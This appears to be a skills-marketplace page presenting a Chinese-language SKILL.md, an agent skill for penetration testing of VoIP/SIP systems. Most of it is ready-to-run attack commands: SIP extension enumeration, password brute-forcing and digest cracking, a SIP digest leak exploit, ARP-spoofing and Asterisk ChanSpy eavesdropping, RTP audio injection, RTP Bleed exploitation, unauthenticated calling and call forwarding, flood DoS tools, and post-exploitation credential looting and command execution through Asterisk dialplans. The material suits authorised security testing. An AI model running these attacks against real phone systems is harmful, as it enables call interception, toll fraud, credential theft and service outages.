Skip to main content

voip-pentesting

VoIP/SIP 服务渗透测试方法论。涵盖 SIP 服务发现与枚举、SIP 认证攻击、通话劫持与窃听、SRTP 降级攻击、SIP 注册劫持、DoS 攻击、SRTP/ZRTP 安全分析。 当 Agent 扫描发现 SIP 端口 (5060/5061) 开放、需要测试 VoIP 基础设施安全、枚举 SIP 分机、或评估通话安全性时,触发此 Skill。

ソース情報

リポジトリ
wgpsec/AboutSecurity
ソースの最終更新活動
2026年10月15日 06:58
検出された SKILL.md の言語
中国語
スター
1,807
フォーク
250

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

ファイルエクスプローラー
2 ファイル

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
voip-pentesting
description
VoIP/SIP 服务渗透测试方法论。涵盖 SIP 服务发现与枚举、SIP 认证攻击、通话劫持与窃听、SRTP 降级攻击、SIP 注册劫持、DoS 攻击、SRTP/ZRTP 安全分析。 当 Agent 扫描发现 SIP 端口 (5060/5061) 开放、需要测试 VoIP 基础设施安全、枚举 SIP 分机、或评估通话安全性时,触发此 Skill。
metadata
{"tags":"voip,sip,rtp,语音通信,通话劫持,sipvicious","category":"exploit"}
# VoIP/SIP 渗透测试方法论 ## 深入参考 - SIP 协议详解、SIPVicious 工具链、RTP 注入/窃听、Asterisk 配置审计 -> 读 [references/voip-techniques.md](references/voip-techniques.md) --- ## 整体决策树 ``` VoIP 基础设施渗透测试 ├─ Phase 1: 服务发现 │ ├─ SIP 端口扫描 (5060 UDP/TCP, 5061 TLS) │ ├─ svmap / SIPPTS scan / Nmap -> SIP 设备发现 │ ├─ PBX 附属服务 (TFTP/HTTP/MySQL/LDAP) │ └─ Google Dorks -> 暴露的 VoIP 管理界面 ├─ Phase 2: SIP 枚举 │ ├─ 方法枚举 (OPTIONS / SIPPTS enumerate) │ ├─ 分机枚举 (svwar / SIPPTS exten) │ ├─ 响应头分析 -> 指纹识别 │ └─ 电话号码 OSINT ├─ Phase 3: 认证攻击 │ ├─ 在线密码爆破 (svcrack / SIPPTS rcrack) │ ├─ 离线摘要破解 (sipdump + sipcrack) │ ├─ SIP Digest Leak 漏洞利用 │ └─ 默认凭据 ├─ Phase 4: 通话劫持与窃听 │ ├─ 网络嗅探 (Wireshark / ucsniff) │ ├─ ARP 欺骗 -> MitM -> RTP 捕获 │ ├─ ChanSpy / ExtenSpy (Asterisk 监听) │ ├─ RTP 注入 (rtpinsertsound / rtpmixsound) │ └─ DTMF 码提取 (voicemail 密码) ├─ Phase 5: 安全协议分析 │ ├─ TLS 使用 -> SIP 通信加密 │ ├─ SRTP 使用 -> RTP 通信加密 │ ├─ ZRTP 使用 -> 端到端加密 │ └─ 未加密 -> 完全可嗅探 ├─ Phase 6: 已知漏洞与攻击 │ ├─ RTCPBleed (RTP 代理 NAT 绕过) │ ├─ Asterisk 配置错误 (免费拨号) │ ├─ 分机注入 │ ├─ Click2Call 滥用 │ └─ OS/固件漏洞 (FreePBX / Elastix) └─ DoS 攻击 ├─ SIP INVITE Flood ├─ RTP Flood └─ IAX Flood ``` --- ## Phase 1: 服务发现 ### 1.1 网络扫描 ```bash # Nmap SIP 方法扫描 sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24 # svmap (SIPVicious) — SIP 设备发现 svmap 10.10.0.0/24 -p 5060-5070 [--fp] # --fp: 指纹识别 # 注意: 默认 User-Agent 为 "friendly-scanner",容易被阻断 # SIPPTS scan — 高速 SIP 扫描 (UDP/TCP/TLS) sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER] # Metasploit use auxiliary/scanner/sip/options_tcp # TCP use auxiliary/scanner/sip/options # UDP ``` ### 1.2 附属服务检查 ``` PBX 可能暴露的服务 ├─ 69/UDP (TFTP) -> 固件更新文件 ├─ 80/443 (HTTP/HTTPS) -> Web 管理界面 ├─ 389 (LDAP) -> 用户信息 ├─ 3306 (MySQL) -> 数据库 ├─ 5038 (Asterisk Manager) -> 管理接口 ├─ 5222 (XMPP) -> 即时消息 └─ 5432 (PostgreSQL) -> 数据库 ``` ### 1.3 Google Dorks ```bash # Grandstream 设备 intitle:"Grandstream Device Configuration" Password # Cisco CallManager inurl:"ccmuser/logon.asp" # Elastix intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL" # FreePBX inurl:"maint/index.php?FreePBX" intitle:"FreePBX" ``` --- ## Phase 2: SIP 枚举 ### 2.1 方法枚举 ```bash # SIPPTS enumerate — 发现 PBX 支持的 SIP 方法 sippts enumerate -i 10.10.0.10 # 自定义消息发送与响应分析 sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp # WebSocket SIP sippts wssend -i 10.10.0.10 -r 443 -path /ws ``` ### 2.2 分机枚举 ```bash # svwar (SIPVicious) — SIP 分机枚举 svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER # SIPPTS exten — 大范围分机扫描 sippts exten -i 10.10.0.10 -r 5060 -e 100-200 # Metasploit use auxiliary/scanner/sip/enumerator_tcp # TCP use auxiliary/scanner/sip/enumerator # UDP # enumiax — IAX 协议用户名枚举 enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 ``` --- ## Phase 3: 认证攻击 ### 3.1 在线密码爆破 ```bash # svcrack (SIPVicious) svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 svcrack -u100 -r1-9999 -z4 10.0.0.1 # 分机范围检查 # SIPPTS rcrack — 多用户/多 IP 密码破解 sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt ``` > **注意**: 用户名可能与分机号相同,也可能不同,取决于 PBX 配置。 ### 3.2 离线摘要破解 ```bash # 从 pcap 提取 SIP 摘要认证 sipdump -p net-capture.pcap sip-creds.txt sipcrack sip-creds.txt -w dict.txt # SIPPTS dump + dcrack sippts dump -f capture.pcap -o data.txt sippts dcrack -f data.txt -w wordlist/rockyou.txt # SIPPTS tshark — 从 pcap 提取 SIP 数据 sippts tshark -f capture.pcap [-filter auth] ``` ### 3.3 SIP Digest Leak 漏洞 利用 SIP 电话固有的漏洞,诱使其泄露摘要认证响应: ```bash # SIPPTS leak — 自动利用 SIP Digest Leak sippts leak -i 10.10.0.10 ``` 攻击流程: 1. 攻击者发送 INVITE 到目标电话 2. 目标振铃 -> 有人接听后挂断 3. 目标发送 BYE 4. 攻击者回复 407 要求认证 5. 目标在第二个 BYE 中发送摘要认证 6. 离线破解摘要 --- ## Phase 4: 通话劫持与窃听 ### 4.1 网络嗅探 ```bash # 前提: 位于同一网络 / 可进行 ARP 欺骗 # 工具: Wireshark, tcpdump, ucsniff # ucsniff — 专为 VoIP 设计的嗅探工具 ucsniff -i eth0 ``` **加密检查**: - SIP 使用 TLS -> 无法看到 SIP 通信明文 - 使用 SRTP/ZRTP -> RTP 数据包加密 ### 4.2 Asterisk 监听功能 ```bash # ChanSpy — 监听所有通话 # 配置: exten => 333,1,ChanSpy('all',qb) # 拨打 333 即开始监听,按 * 切换通话 # ExtenSpy — 监听指定分机 # 录制通话到文件 # [recorded-context] # exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav) # exten => _X.,2,MixMonitor(${NAME}) ``` ### 4.3 RTP 注入 ```bash # rtpinsertsound — 向通话注入音频 sudo apt install rtpinsertsound rtpinsertsound <target_ip> <rtp_port> audio.wav # rtpmixsound — 混合音频到通话 sudo apt install rtpmixsound # DTMF 码提取 (语音信箱密码) multimon -a DTMF -t wac pin.wav ``` --- ## Phase 5: 安全协议分析 ### 5.1 加密状态决策树 ``` 通信加密评估 ├─ SIP 信令 │ ├─ 明文 (UDP/TCP 5060) -> 可嗅探所有信令 │ └─ TLS (5061) -> 信令加密 ├─ RTP 媒体流 │ ├─ 明文 RTP -> 可捕获并播放通话 │ ├─ SRTP -> 媒体加密 │ └─ ZRTP -> 端到端加密 └─ 风险评估 ├─ 全明文 -> 高风险 (完全可窃听) ├─ 仅 SIP TLS -> 中风险 (媒体仍可截获) └─ TLS + SRTP/ZRTP -> 低风险 ``` --- ## Phase 6: 已知漏洞与攻击 ### 6.1 RTCPBleed RTP 代理的 NAT 穿越学习模式缺乏认证,攻击者可发送 RTP 包劫持媒体流: ```bash # 检测 RTP Bleed sippts rtpbleed -i 10.10.0.10 sippts rtcpbleed -i 10.10.0.10 # 利用 RTP Bleed Flood sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v # 注入音频 sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav ``` ### 6.2 Asterisk 配置错误 ``` 免费拨号风险评估 ├─ type=friend + insecure=port,invite │ └─ 任何人可连接并拨打外部号码 ├─ allowguest=true (sip.conf 默认) │ └─ 无认证用户可拨打 ├─ 默认 context 包含外部拨号规则 │ └─ include => external (含 Dial(SIP/trunk/${EXTEN})) └─ IVRS 分机长度未校验 └─ 输入完整电话号码拨出 ``` ### 6.3 分机注入 ```bash # 旧版 Asterisk: ${EXTEN} 可注入 # 输入 101&SIP123123123 -> 同时拨打 101 和 123123123 # 通过绕过匹配的分机名注入外部号码 ``` ### 6.4 未授权 INVITE 检测 ```bash # SIPPTS invite — 检测未认证拨号 sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v # 呼叫转移 sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444 ``` --- ## DoS 攻击 ```bash # SIP INVITE Flood sippts flood -i 10.10.0.10 -m invite -v # SIP Ping (响应时间测试) sippts ping -i 10.10.0.10 # IAX Flood iaxflood <target> # INVITE Flood (独立工具) inviteflood <interface> <target> <port> # SIPp (SIP 流量生成器) sipp -sf scenario.xml <target>:5060 ``` --- ## Asterisk 后渗透 ### 配置文件与凭据 ``` 关键文件 ├─ sip.conf -> SIP 用户密码 ├─ extensions.conf -> 拨号计划 ├─ manager.conf -> AMI 管理密码 ├─ FreePBX: │ ├─ amportal.conf -> Web 管理员密码 │ └─ FreePBX.conf -> 数据库密码 ├─ Elastix: │ └─ Elastix.conf -> MySQL root / IMAP / Web 管理密码 (明文) └─ MySQL root 可能无密码 ``` ### RCE (获取配置写入权限后) ```bash # Asterisk System() 命令 same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt) # Shell() 命令 (替代 System) same => n,Shell(command) ```
GitHubで見る